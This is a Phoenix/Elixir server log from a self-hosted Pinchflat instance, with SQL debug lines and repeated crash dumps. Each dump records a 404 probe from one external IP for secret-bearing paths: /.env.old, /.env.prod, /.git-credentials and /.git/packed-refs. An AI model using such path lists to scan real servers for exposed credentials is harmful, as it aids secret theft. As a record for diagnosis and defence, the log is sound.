LIMIT 1 [] 04:52:49.703 [debug] QUERY OK source="settings" db=0.4ms queue=1.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.703 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.704 [debug] QUERY OK source="settings" db=1.0ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.703 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.704 [debug] QUERY OK source="settings" db=0.6ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.704 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.704 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.704 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.702 [error] #PID<0.138988.0> running PinchflatWeb.Endpoint (connection #PID<0.138978.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46086}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138988.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3a48R1dNgADZrh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46086}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46086}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138988.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, (truncated) 04:52:49.704 [debug] QUERY OK source="settings" db=0.4ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.705 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.705 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.701 [error] #PID<0.138983.0> running PinchflatWeb.Endpoint (connection #PID<0.138977.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.git-credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git-credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46082}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138983.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git-credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3V6IZKh1YADCdi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git-credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46082}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git-credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46082}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "us (truncated) 04:52:49.697 [error] #PID<0.138976.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 10) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.git/packed-refs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/packed-refs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/packed-refs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138976.0>, params: %{}, path_info: [".git", "packed-refs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/packed-refs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3LZTGKeNQADZqh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/packed-refs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/packed-refs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/packed-refs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 04:52:49.703 [error] #PID<0.138992.0> running PinchflatWeb.Endpoint (connection #PID<0.138990.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138990.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138992.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3jf_YtkQMAACoE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138990.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138990.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 